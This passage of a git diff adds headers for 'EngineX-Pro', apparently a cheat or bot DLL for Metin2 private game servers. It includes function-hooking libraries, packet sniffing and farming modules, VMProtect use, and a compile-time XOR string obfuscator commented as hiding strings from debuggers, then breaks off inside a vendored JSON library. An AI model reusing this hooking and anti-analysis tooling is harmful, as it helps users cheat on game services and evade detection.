/dev/null +++ b/EngineX-Pro/stdafx.cpp @@ -0,0 +1 @@ +#include "stdafx.h" diff --git a/EngineX-Pro/stdafx.h b/EngineX-Pro/stdafx.h new file mode 100644 index 0000000..55aa04f --- /dev/null +++ b/EngineX-Pro/stdafx.h @@ -0,0 +1,251 @@ +#include +#define _WINSOCK2API_ +#define _CRTDBG_MAP_ALLOC +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "strsafe.h" +#include +#include +#include "resource.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "detours.lib") +#include "detours.h" +#include "lazy_importer.hpp" +using namespace std; + + +#pragma comment(lib, "iphlpapi.lib") +#pragma comment(lib, "Wininet") + +#ifdef _DEBUG +#define DEBUG_WAS_DEFINED +#undef _DEBUG +#endif + +#include "VMProtectSDK.h" +#define DecryptS VMProtectDecryptStringA +#ifdef DEBUG_WAS_DEFINED +#define _DEBUG +#endif + +NTSTATUS SYSCALL(DWORD syscall_id, DWORD parameterCount, ...) +{//not for plebs :) + +} + +enum ServerName +{ + METINPL = 1, + MEDIUMMT2, + VIDGAR, + PANGEA, + SAMIAS2, + BARIA, + VALIUM, + SG2, + VEDNAR, + AELDRA, + ORIGINS2, + CALLIOPE2, + ASENIS, + CLASSIC, + DEVERIA, + DRAGON, + NEVILLA, + DRAGON2, + LUNA, + TASTRIA2, + WOM, + ARATHAR, + EGORIA, + GLEVIA, + KEVRA, + TAMIDIA2021, + ANORIA2, + G22, + CarolineMT2, + Ernidia +}; +//############################################################################ +//############################################################################ +//############################################################################ + + +//#define DX9 +SOCKET socketAeldra; +ServerName SERVER = ServerName::Ernidia; +#define VERSION_ELITE +//#define VERSION_PUBLIC +//#define VERSION_PREMIUM + +#ifdef _DEBUG +#define DEVELOPER_MODE +#endif + + +//#define FISHBOT + +//#define NETWORK_MODE + +//#define PYTHON_ENABLE + + +//############################################################################ +//############################################################################ +//############################################################################ +#if defined(PYTHON_ENABLE) +#ifdef _DEBUG +#undef _DEBUG +#include +#pragma comment(lib,"python27.lib") +#define _DEBUG +#else +#include +#pragma comment(lib,"python27.lib") +#endif +#else +typedef unsigned long PyObject; +typedef unsigned long PyMethodDef; +typedef int Py_ssize_t; +#endif + +#define DLL_VERSION "0.1.05 Beta" + +#include "ImGui/imgui.h" +#include "ImGui/imgui_impl_win32.h" +#include "ImGui/imgui_internal.h" +#include "ImGui/imgui_stdlib.h" +#ifdef DX9 +#include "ImGui/imgui_impl_dx9.h" +#include +#include +#define DIRECTINPUT_VERSION 0x0800 +#pragma comment(lib, "d3d9.lib") +#pragma comment(lib, "d3dx9.lib") +#define DirectDevice IDirect3DDevice9* +#define DirectDevice2 LPDIRECT3DDEVICE9 +#define DirectTexture LPDIRECT3DTEXTURE9 +#define IMGUI_DEFINE_MATH_OPERATORS +#else +#include "ImGui/imgui_impl_dx8.h" +#include +#include +#define DIRECTINPUT_VERSION 0x0800 +#pragma comment(lib, "d3d8.lib") +#pragma comment(lib, "d3dx8.lib") +#define DirectDevice IDirect3DDevice8* +#define DirectDevice2 LPDIRECT3DDEVICE8 +#define DirectTexture LPDIRECT3DTEXTURE8 +#define IMGUI_DEFINE_MATH_OPERATORS +#endif + +#include "DynamicTimer.h" + + +#include "StopWatch.h" +#include "DelayActions.h" + + +#include "StdV80-110.h" +#include "Defines.h" + + + +#include "TAbstractSingleton.h" +#include "Singleton.h" + +#include "PythonExtension.h" +#include "MiscExtension.h" +#include "CryptExtension.h" + +#include "MathExtension.h" +#include "MemoryExtension.h" +#include "StringExtension.h" +#include "FileExtension.h" +#include "ProtectExtension.h" +#include "ProcessExtension.h" +#include "PatternScan.h" +// + + +#include "Json.h" +#include "Device.h" +#include "Globals.h" +#include "Settings.h" +#include "CustomWidgets.h" +#include "CRender.h" +#include"SplashScreen.h" +#include "Logger.h" +#include "popinsmedium.h" +#include "fontawesome.h" +#include "IconsFontAwesome5.h" +#include "MainForm.h" +#include "SimpleIni.h" + + +//NETWORK +#include "Packet.h" +#include "Network.h" +#include "PacketHandler.h" + +#include "GameFunctions.h" +#include "GameFunctionsCustom.h" + + + +#include "IAbstractModuleBase.h" + +#include "Main.h" +#include "Protection.h" +#include "PacketSniffer.h" +#include "Fish.h" + +#include "Buff.h" +#include "Item.h" +#include "Farm.h" +#include "Status.h" +#include "Spam.h" +#include "AutoTalk.h" +#include "PythonScript.h" +#include "Inventory.h" +#include "MainDungs.h" + +#include "Debug.h" +#include "Visuals.h" +#include "Configuration.h" +//Hook Systems +#include "polyhook2/PE/IatHook.hpp" +#include "polyhook2/Virtuals/VFuncSwapHook.hpp" +#include "polyhook2/Virtuals/VTableSwapHook.hpp" +#include "polyhook2/Exceptions/HWBreakPointHook.hpp" +#include "VEH.hpp" +// +#include "HookCore.h" +#include "MainCore.h" +#include "Security.h" diff --git a/EngineX-Pro/xorstr.hpp b/EngineX-Pro/xorstr.hpp new file mode 100644 index 0000000..daae0cc --- /dev/null +++ b/EngineX-Pro/xorstr.hpp @@ -0,0 +1,165 @@ +#pragma once +#include +#include +#include +#include + + +// https://www.unknowncheats.me/forum/counterstrike-global-offensive/209624-fast-easy-netvar-manager.html +// https://stackoverflow.com/questions/15858141/conveniently-declaring-compile-time-strings-in-c +// This is used to XOR the strings so der cant be easily found in a debugger + +typedef uint32_t fnv_t; +class CFnvHash +{ + static constexpr fnv_t FNV_PRIME = 16777619u; + static constexpr fnv_t OFFSET_BASIS = 2166136261u; + + template + static constexpr fnv_t fnvHashConst(const char(&str)[N], unsigned int I = N) + { + return static_cast(1ULL * (I == 1 ? (OFFSET_BASIS ^ str[0]) : (fnvHashConst(str, I - 1) ^ str[I - 1])) * FNV_PRIME); + } + + static __forceinline fnv_t fnvHash(const char* str) + { + const auto length = strlen(str) + 1; + auto hash = OFFSET_BASIS; + for (std::size_t i = 0; i < length; ++i) + { + hash ^= *str++; + hash *= FNV_PRIME; + } + return hash; + } + + struct Wrapper + { + Wrapper(const char* str) : str(str) { } + const char* str; + }; + + fnv_t hash_value; +public: + CFnvHash(Wrapper wrapper) : hash_value(fnvHash(wrapper.str)) { } + + template + constexpr CFnvHash(const char(&str)[N]) : hash_value(fnvHashConst(str)) { } + + constexpr operator fnv_t() const { return this->hash_value; } +}; + +namespace NXorStringFuncs +{ + constexpr static const unsigned seed = CFnvHash(__DATE__ __TIME__); + + constexpr unsigned LinearCongruentGenerator(int Rounds, unsigned Seed = seed) + { + return static_cast(1013904223ULL + 1664525ULL * (Rounds > 0 ? LinearCongruentGenerator(Rounds - 1) : Seed)); + } + + constexpr unsigned RandomRounds(int rounds) + { + return LinearCongruentGenerator(rounds); + } + + constexpr unsigned Random() + { + return RandomRounds(10); + } + + constexpr unsigned RandomNumber(int min, int max) + { + return min + Random() % (max - min + 1); + } + + namespace variadic_toolbox + { + template class meta_functor, unsigned... indices> + struct apply_range + { + typedef typename apply_range::result result; + }; + + template class meta_functor, unsigned... indices> + struct apply_range<0, meta_functor, indices...> + { + typedef typename meta_functor::result result; + }; + } + + namespace compile_time + { + constexpr unsigned char get_key(unsigned index, unsigned value) + { + return 0xFF & RandomRounds(10 + index + value); + } + + constexpr unsigned short encrypt_string(const char* str, unsigned idx) + { + return static_cast(0UL + (get_key(idx, str[idx]) << 8) + (str[idx] ^ get_key(idx, str[idx]))); + } + + template + struct string + { + static constexpr const unsigned short chars[sizeof...(str)] = { str... }; + }; + + template + constexpr const unsigned short string::chars[sizeof...(str)]; + + template + struct string_builder + { + template + struct produce + { + typedef string < encrypt_string(lambda_str_type{}.chars, indices)... > result; + }; + }; + } +} + +class CXString +{ +public: + constexpr CXString(std::size_t uiSize, const WORD* c_pwEncrypted) : + m_uiSize((NXorStringFuncs::RandomRounds(10 + uiSize) << 16) + ((uiSize ^ NXorStringFuncs::RandomRounds(10 + uiSize)) & 0xFFFF)), + m_pwEncrypted(c_pwEncrypted) + { + } + + void DecryptData(char* pDestData) const + { + WORD wSize = (m_uiSize & 0xFFFF) ^ (m_uiSize >> 16); + + for (std::size_t i = 0; i < wSize; ++i) + pDestData[i] = (m_pwEncrypted[i] & 0xFF) ^ (m_pwEncrypted[i] >> 8); + } + + std::string DecryptString() const + { + WORD wSize = (m_uiSize & 0xFFFF) ^ (m_uiSize >> 16); + + std::string szOutputString; + szOutputString.resize(wSize); + + DecryptData(const_cast(szOutputString.data())); + + return szOutputString; + } + +private: + std::size_t m_uiSize; + const WORD* m_pwEncrypted; +}; + + +#define XOR(szInput) \ + CXString(sizeof(szInput), []{ \ + struct constexpr_string_type { const char * chars = szInput; }; \ + return NXorStringFuncs::variadic_toolbox::apply_range::produce>::result{}; \ + }().chars).DecryptString().c_str() diff --git a/Extern/include/Json/Json.h b/Extern/include/Json/Json.h new file mode 100644 index 0000000..5b9aa0c --- /dev/null +++ b/Extern/include/Json/Json.h @@ -0,0 +1,25534 @@ +/* + __ _____ _____ _____ + __| | __| | | | JSON for Modern C++ +| | |__ | | | | | | version 3.9.1 +|_____|_____|_____|_|___| https://github.com/nlohmann/json + +Licensed under the MIT License . +SPDX-License-Identifier: MIT +Copyright (c) 2013-2019 Niels Lohmann . + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#ifndef INCLUDE_NLOHMANN_JSON_HPP_ +#define INCLUDE_NLOHMANN_JSON_HPP_ + +#define NLOHMANN_JSON_VERSION_MAJOR 3 +#define NLOHMANN_JSON_VERSION_MINOR 9 +#define NLOHMANN_JSON_VERSION_PATCH 1 + +#include // all_of, find, for_each +#include // nullptr_t, ptrdiff_t, size_t +#include // hash, less +#include // initializer_list +#include // istream, ostream +#include // random_access_iterator_tag +#include // unique_ptr +#include // accumulate +#include // string, stoi, to_string +#include // declval, forward, move, pair, swap +#include // vector + +// #include + + +#include + +// #include + + +#include // transform +#include // array +#include // forward_list +#include // inserter, front_inserter, end +#include // map +#include // string +#include // tuple, make_tuple +#include // is_arithmetic, is_same, is_enum, underlying_type, is_convertible +#include // unordered_map +#include // pair, declval +#include // valarray + +// #include + + +#include // exception +#include // runtime_error +#include // to_string + +// #include + + +#include // size_t + +namespace nlohmann +{ +namespace detail +{ +/// struct to capture the start position of the current token +struct position_t +{ + /// the total number of characters read + std::size_t chars_read_total = 0; + /// the number of characters read in the current line + std::size_t chars_read_current_line = 0; + /// the number of lines read + std::size_t lines_read = 0; + + /// conversion to size_t to preserve SAX interface + constexpr operator size_t() const + { + return chars_read_total; + } +}; + +} // namespace detail +} // namespace nlohmann + +// #include + + +#include // pair +// #include +/* Hedley - https://nemequ.github.io/hedley + * Created by Evan Nemerson + * + * To the extent possible under law, the author(s) have dedicated all + * copyright and related and neighboring rights to this software to + * the public domain worldwide. This software is distributed without + * any warranty. + * + * For details, see . + * SPDX-License-Identifier: CC0-1.0 + */ + +#if !defined(JSON_HEDLEY_VERSION) || (JSON_HEDLEY_VERSION < 14) +#if defined(JSON_HEDLEY_VERSION) + #undef JSON_HEDLEY_VERSION +#endif +#define JSON_HEDLEY_VERSION 14 + +#if defined(JSON_HEDLEY_STRINGIFY_EX) + #undef JSON_HEDLEY_STRINGIFY_EX +#endif +#define JSON_HEDLEY_STRINGIFY_EX(x) #x + +#if defined(JSON_HEDLEY_STRINGIFY) + #undef JSON_HEDLEY_STRINGIFY +#endif +#define JSON_HEDLEY_STRINGIFY(x) JSON_HEDLEY_STRINGIFY_EX(x) + +#if defined(JSON_HEDLEY_CONCAT_EX) + #undef JSON_HEDLEY_CONCAT_EX +#endif +#define JSON_HEDLEY_CONCAT_EX(a,b) a##b + +#if defined(JSON_HEDLEY_CONCAT) + #undef JSON_HEDLEY_CONCAT +#endif +#define JSON_HEDLEY_CONCAT(a,b) JSON_HEDLEY_CONCAT_EX(a,b) + +#if defined(JSON_HEDLEY_CONCAT3_EX) + #undef JSON_HEDLEY_CONCAT3_EX +#endif +#define JSON_HEDLEY_CONCAT3_EX(a,b,c) a##b##c + +#if defined(JSON_HEDLEY_CONCAT3) + #undef JSON_HEDLEY_CONCAT3 +#endif +#define JSON_HEDLEY_CONCAT3(a,b,c) JSON_HEDLEY_CONCAT3_EX(a,b,c) + +#if defined(JSON_HEDLEY_VERSION_ENCODE) + #undef JSON_HEDLEY_VERSION_ENCODE +#endif +#define JSON_HEDLEY_VERSION_ENCODE(major,minor,revision) (((major) * 1000000) + ((minor) * 1000) + (revision)) + +#if defined(JSON_HEDLEY_VERSION_DECODE_MAJOR) + #undef JSON_HEDLEY_VERSION_DECODE_MAJOR +#endif +#define JSON_HEDLEY_VERSION_DECODE_MAJOR(version) ((version) / 1000000) + +#if defined(JSON_HEDLEY_VERSION_DECODE_MINOR) + #undef JSON_HEDLEY_VERSION_DECODE_MINOR +#endif +#define JSON_HEDLEY_VERSION_DECODE_MINOR(version) (((version) % 1000000) / 1000) + +#if defined(JSON_HEDLEY_VERSION_DECODE_REVISION) + #undef JSON_HEDLEY_VERSION_DECODE_REVISION +#endif +#define JSON_HEDLEY_VERSION_DECODE_REVISION(version) ((version) % 1000) + +#if defined(JSON_HEDLEY_GNUC_VERSION) + #undef JSON_HEDLEY_GNUC_VERSION +#endif +#if defined(__GNUC__) && defined(__GNUC_PATCHLEVEL__) + #define JSON_HEDLEY_GNUC_VERSION JSON_HEDLEY_VERSION_ENCODE(__GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__) +#elif defined(__GNUC__) + #define JSON_HEDLEY_GNUC_VERSION JSON_HEDLEY_VERSION_ENCODE(__GNUC__, __GNUC_MINOR__, 0) +#endif + +#if defined(JSON_HEDLEY_GNUC_VERSION_CHECK) + #undef JSON_HEDLEY_GNUC_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_GNUC_VERSION) + #define JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_GNUC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_MSVC_VERSION) + #undef JSON_HEDLEY_MSVC_VERSION +#endif +#if defined(_MSC_FULL_VER) && (_MSC_FULL_VER >= 140000000) && !defined(__ICL) + #define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_FULL_VER / 10000000, (_MSC_FULL_VER % 10000000) / 100000, (_MSC_FULL_VER % 100000) / 100) +#elif defined(_MSC_FULL_VER) && !defined(__ICL) + #define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_FULL_VER / 1000000, (_MSC_FULL_VER % 1000000) / 10000, (_MSC_FULL_VER % 10000) / 10) +#elif defined(_MSC_VER) && !defined(__ICL) + #define JSON_HEDLEY_MSVC_VERSION JSON_HEDLEY_VERSION_ENCODE(_MSC_VER / 100, _MSC_VER % 100, 0) +#endif + +#if defined(JSON_HEDLEY_MSVC_VERSION_CHECK) + #undef JSON_HEDLEY_MSVC_VERSION_CHECK +#endif +#if !defined(JSON_HEDLEY_MSVC_VERSION) + #define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (0) +#elif defined(_MSC_VER) && (_MSC_VER >= 1400) + #define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_FULL_VER >= ((major * 10000000) + (minor * 100000) + (patch))) +#elif defined(_MSC_VER) && (_MSC_VER >= 1200) + #define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_FULL_VER >= ((major * 1000000) + (minor * 10000) + (patch))) +#else + #define JSON_HEDLEY_MSVC_VERSION_CHECK(major,minor,patch) (_MSC_VER >= ((major * 100) + (minor))) +#endif + +#if defined(JSON_HEDLEY_INTEL_VERSION) + #undef JSON_HEDLEY_INTEL_VERSION +#endif +#if defined(__INTEL_COMPILER) && defined(__INTEL_COMPILER_UPDATE) && !defined(__ICL) + #define JSON_HEDLEY_INTEL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER / 100, __INTEL_COMPILER % 100, __INTEL_COMPILER_UPDATE) +#elif defined(__INTEL_COMPILER) && !defined(__ICL) + #define JSON_HEDLEY_INTEL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER / 100, __INTEL_COMPILER % 100, 0) +#endif + +#if defined(JSON_HEDLEY_INTEL_VERSION_CHECK) + #undef JSON_HEDLEY_INTEL_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_INTEL_VERSION) + #define JSON_HEDLEY_INTEL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_INTEL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_INTEL_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_INTEL_CL_VERSION) + #undef JSON_HEDLEY_INTEL_CL_VERSION +#endif +#if defined(__INTEL_COMPILER) && defined(__INTEL_COMPILER_UPDATE) && defined(__ICL) + #define JSON_HEDLEY_INTEL_CL_VERSION JSON_HEDLEY_VERSION_ENCODE(__INTEL_COMPILER, __INTEL_COMPILER_UPDATE, 0) +#endif + +#if defined(JSON_HEDLEY_INTEL_CL_VERSION_CHECK) + #undef JSON_HEDLEY_INTEL_CL_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_INTEL_CL_VERSION) + #define JSON_HEDLEY_INTEL_CL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_INTEL_CL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_INTEL_CL_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_PGI_VERSION) + #undef JSON_HEDLEY_PGI_VERSION +#endif +#if defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) && defined(__PGIC_PATCHLEVEL__) + #define JSON_HEDLEY_PGI_VERSION JSON_HEDLEY_VERSION_ENCODE(__PGIC__, __PGIC_MINOR__, __PGIC_PATCHLEVEL__) +#endif + +#if defined(JSON_HEDLEY_PGI_VERSION_CHECK) + #undef JSON_HEDLEY_PGI_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_PGI_VERSION) + #define JSON_HEDLEY_PGI_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_PGI_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_PGI_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_SUNPRO_VERSION) + #undef JSON_HEDLEY_SUNPRO_VERSION +#endif +#if defined(__SUNPRO_C) && (__SUNPRO_C > 0x1000) + #define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((((__SUNPRO_C >> 16) & 0xf) * 10) + ((__SUNPRO_C >> 12) & 0xf), (((__SUNPRO_C >> 8) & 0xf) * 10) + ((__SUNPRO_C >> 4) & 0xf), (__SUNPRO_C & 0xf) * 10) +#elif defined(__SUNPRO_C) + #define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((__SUNPRO_C >> 8) & 0xf, (__SUNPRO_C >> 4) & 0xf, (__SUNPRO_C) & 0xf) +#elif defined(__SUNPRO_CC) && (__SUNPRO_CC > 0x1000) + #define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((((__SUNPRO_CC >> 16) & 0xf) * 10) + ((__SUNPRO_CC >> 12) & 0xf), (((__SUNPRO_CC >> 8) & 0xf) * 10) + ((__SUNPRO_CC >> 4) & 0xf), (__SUNPRO_CC & 0xf) * 10) +#elif defined(__SUNPRO_CC) + #define JSON_HEDLEY_SUNPRO_VERSION JSON_HEDLEY_VERSION_ENCODE((__SUNPRO_CC >> 8) & 0xf, (__SUNPRO_CC >> 4) & 0xf, (__SUNPRO_CC) & 0xf) +#endif + +#if defined(JSON_HEDLEY_SUNPRO_VERSION_CHECK) + #undef JSON_HEDLEY_SUNPRO_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_SUNPRO_VERSION) + #define JSON_HEDLEY_SUNPRO_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_SUNPRO_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_SUNPRO_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION) + #undef JSON_HEDLEY_EMSCRIPTEN_VERSION +#endif +#if defined(__EMSCRIPTEN__) + #define JSON_HEDLEY_EMSCRIPTEN_VERSION JSON_HEDLEY_VERSION_ENCODE(__EMSCRIPTEN_major__, __EMSCRIPTEN_minor__, __EMSCRIPTEN_tiny__) +#endif + +#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK) + #undef JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_EMSCRIPTEN_VERSION) + #define JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_EMSCRIPTEN_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_ARM_VERSION) + #undef JSON_HEDLEY_ARM_VERSION +#endif +#if defined(__CC_ARM) && defined(__ARMCOMPILER_VERSION) + #define JSON_HEDLEY_ARM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ARMCOMPILER_VERSION / 1000000, (__ARMCOMPILER_VERSION % 1000000) / 10000, (__ARMCOMPILER_VERSION % 10000) / 100) +#elif defined(__CC_ARM) && defined(__ARMCC_VERSION) + #define JSON_HEDLEY_ARM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ARMCC_VERSION / 1000000, (__ARMCC_VERSION % 1000000) / 10000, (__ARMCC_VERSION % 10000) / 100) +#endif + +#if defined(JSON_HEDLEY_ARM_VERSION_CHECK) + #undef JSON_HEDLEY_ARM_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_ARM_VERSION) + #define JSON_HEDLEY_ARM_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_ARM_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_ARM_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_IBM_VERSION) + #undef JSON_HEDLEY_IBM_VERSION +#endif +#if defined(__ibmxl__) + #define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__ibmxl_version__, __ibmxl_release__, __ibmxl_modification__) +#elif defined(__xlC__) && defined(__xlC_ver__) + #define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__xlC__ >> 8, __xlC__ & 0xff, (__xlC_ver__ >> 8) & 0xff) +#elif defined(__xlC__) + #define JSON_HEDLEY_IBM_VERSION JSON_HEDLEY_VERSION_ENCODE(__xlC__ >> 8, __xlC__ & 0xff, 0) +#endif + +#if defined(JSON_HEDLEY_IBM_VERSION_CHECK) + #undef JSON_HEDLEY_IBM_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_IBM_VERSION) + #define JSON_HEDLEY_IBM_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_IBM_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_IBM_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_VERSION) + #undef JSON_HEDLEY_TI_VERSION +#endif +#if \ + defined(__TI_COMPILER_VERSION__) && \ + ( \ + defined(__TMS470__) || defined(__TI_ARM__) || \ + defined(__MSP430__) || \ + defined(__TMS320C2000__) \ + ) +#if (__TI_COMPILER_VERSION__ >= 16000000) + #define JSON_HEDLEY_TI_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif +#endif + +#if defined(JSON_HEDLEY_TI_VERSION_CHECK) + #undef JSON_HEDLEY_TI_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_VERSION) + #define JSON_HEDLEY_TI_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_CL2000_VERSION) + #undef JSON_HEDLEY_TI_CL2000_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && defined(__TMS320C2000__) + #define JSON_HEDLEY_TI_CL2000_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if defined(JSON_HEDLEY_TI_CL2000_VERSION_CHECK) + #undef JSON_HEDLEY_TI_CL2000_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_CL2000_VERSION) + #define JSON_HEDLEY_TI_CL2000_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL2000_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_CL2000_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_CL430_VERSION) + #undef JSON_HEDLEY_TI_CL430_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && defined(__MSP430__) + #define JSON_HEDLEY_TI_CL430_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if defined(JSON_HEDLEY_TI_CL430_VERSION_CHECK) + #undef JSON_HEDLEY_TI_CL430_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_CL430_VERSION) + #define JSON_HEDLEY_TI_CL430_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL430_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_CL430_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_ARMCL_VERSION) + #undef JSON_HEDLEY_TI_ARMCL_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && (defined(__TMS470__) || defined(__TI_ARM__)) + #define JSON_HEDLEY_TI_ARMCL_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if defined(JSON_HEDLEY_TI_ARMCL_VERSION_CHECK) + #undef JSON_HEDLEY_TI_ARMCL_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_ARMCL_VERSION) + #define JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_ARMCL_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_CL6X_VERSION) + #undef JSON_HEDLEY_TI_CL6X_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && defined(__TMS320C6X__) + #define JSON_HEDLEY_TI_CL6X_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if defined(JSON_HEDLEY_TI_CL6X_VERSION_CHECK) + #undef JSON_HEDLEY_TI_CL6X_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_CL6X_VERSION) + #define JSON_HEDLEY_TI_CL6X_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL6X_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_CL6X_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_CL7X_VERSION) + #undef JSON_HEDLEY_TI_CL7X_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && defined(__C7000__) + #define JSON_HEDLEY_TI_CL7X_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if 